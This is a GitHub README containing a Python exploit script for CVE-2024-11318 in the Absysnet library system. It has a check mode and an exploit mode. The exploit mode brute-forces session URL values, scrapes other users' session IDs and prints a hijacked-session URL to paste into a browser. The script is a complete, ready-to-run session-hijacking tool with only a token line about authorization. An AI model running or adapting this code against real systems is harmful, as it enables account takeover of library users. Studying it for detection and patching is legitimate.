README.md
Rendering markdown...
#/usr/bin/python3
#Author: xThalach https://xthalach.github.io/
#instagram: @xthalach.twitch
#twitter: @xthalach
import argparse
import requests
import re
from pwn import log
import signal
import sys
from urllib3.exceptions import InsecureRequestWarning
from urllib3 import disable_warnings
# Suppress only InsecureRequestWarning
disable_warnings(InsecureRequestWarning)
# Managing CTRL+C to exit the exploit.
def sigint_handler(signal, frame):
print("\nQuitting...")
sys.exit(0)
signal.signal(signal.SIGINT, sigint_handler)
# Banner and author information.
def banner():
banner = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗██████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ███║███║╚════██╗███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗╚██║╚██║ █████╔╝╚██║╚█████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝ ██║ ██║ ╚═══██╗ ██║██╔══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██║ ██║██████╔╝ ██║╚█████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚════╝
ᴀᴜᴛʜᴏʀ﹕ xᴛʜᴀʟᴀᴄʜ ʜᴛᴛᴘs﹕//xᴛʜᴀʟᴀᴄʜ.ɢɪᴛʜᴜʙ.ɪᴏ/
ɪɴsᴛᴀɢʀᴀᴍ﹕ ﹫xᴛʜᴀʟᴀᴄʜ.ᴛᴡɪᴛᴄʜ
ᴛᴡɪᴛᴛᴇʀ﹕ ﹫xᴛʜᴀʟᴀᴄʜ
"""
print(banner)
# Function to check if the url aplication is vulnerable.
def check(url):
p0 = log.progress("CHECKING URL")
try:
idValue = re.split(r'\/(ID\w+)\/?', url)[-2]
url = re.sub(idValue, "", url)
p0.status("{}".format(url))
r = requests.get(url, verify=False)
if (idValue in r.text):
p1 = log.progress("VULNERABLE")
p1.success("The token '{}' has been found in the html code.".format(idValue))
else:
p2 = log.progress("NOT VULNERABLE")
p2.failure("The aplication is not vulnerable OR the token '%s' has expired", idValue)
except IndexError:
p3 = log.progress("NOT VULNERABLE")
p0.status(url)
pattern = r"/([a-zA-Z0-9]+)\?"
match = re.search(pattern, url)
if match:
token = match.group(1)
p3.failure("The aplication has been pached, token value \"%s\" not match.", token)
def exploit(url):
p1 = log.info("--- STARTING EXPLOIT ---")
try:
# Catch the ID token value from the URL.
idValue = re.split(r'\/(ID\w+)\/?', url)[-2]
# Delete the ID token from the URL, to make it iterable.
site = re.sub(idValue, "", url)
# Split the URL by /.
url = url.rsplit("/", 1)[0].split("/")
# Take the local port value.
localPort = url[len(url)-1]
# Change the local port value for the token word.
url = re.sub(localPort, "token", site)
# Log progress
p2 = log.progress("URL")
# Loop to iterate throught 1-999
for i in range(0, 100):
# Making variable num to have 3 digits.
num = f"{i:03}"
# Formating the iterable URL.
iterableUrl = re.sub("token", "O7{}".format(num), url)
p2.status(iterableUrl)
r = requests.get(iterableUrl, timeout=5, verify=False)
if ("NT1?ACC=301" in r.text):
p3 = log.progress("User Token Hijacking")
pattern = r'ID[a-zA-Z0-9]{8}'
session = re.search(pattern, r.text)
pos = iterableUrl.find('?')
successUrl = iterableUrl[:pos] + session.group() + iterableUrl[pos:]
p3.success("%s (COPY & PASTE INTO BROWSER)", successUrl)
except IndexError:
p0 = log.progress("NOT VULNERABLE")
pattern = r"/([a-zA-Z0-9]+)\?"
match = re.search(pattern, url)
if match:
token = match.group(1)
p0.failure("The aplication has been pached, token value \"%s\" not match.", token)
if __name__ == "__main__":
# Show the banner
banner()
# Managing the arguments.
parse = argparse.ArgumentParser(
description="This script allows you to assess whether a website is vulnerable to CVE-2024-11318. \nIf confirmed, it provides the option to exploit the vulnerability, but only under circumstances where you have explicit authorization to do so."
)
parse.add_argument('-u', '--url', type=str, help='Target URL', required=True)
parse.add_argument('--check', action='store_true', help="This option in this script allows you to test whether a website is vulnerable to the CVE-2024-11318.")
parse.add_argument('--exploit', action='store_true', help="This option in this script enables you to exploit the CVE-2024-11318 vulnerability.")
# Display help menu if no arguments are provided
if len(sys.argv) == 1:
parse.print_help(sys.stderr)
sys.exit(1)
args = parse.parse_args()
p0 = log.progress("STARTING ATTACK")
# Checking if the URL is from the Absysnet
if "ACC=101" in args.url :
p0.status("CORRECT URL!")
if args.check:
p0.status("CHECKING IF THE TARGET IT'S VULNERABLE!")
check(args.url)
elif args.exploit:
p0.status("EXPLOITING THE TARGET!")
exploit(args.url)
else:
p0.failure("WRONG URL FORMAT!")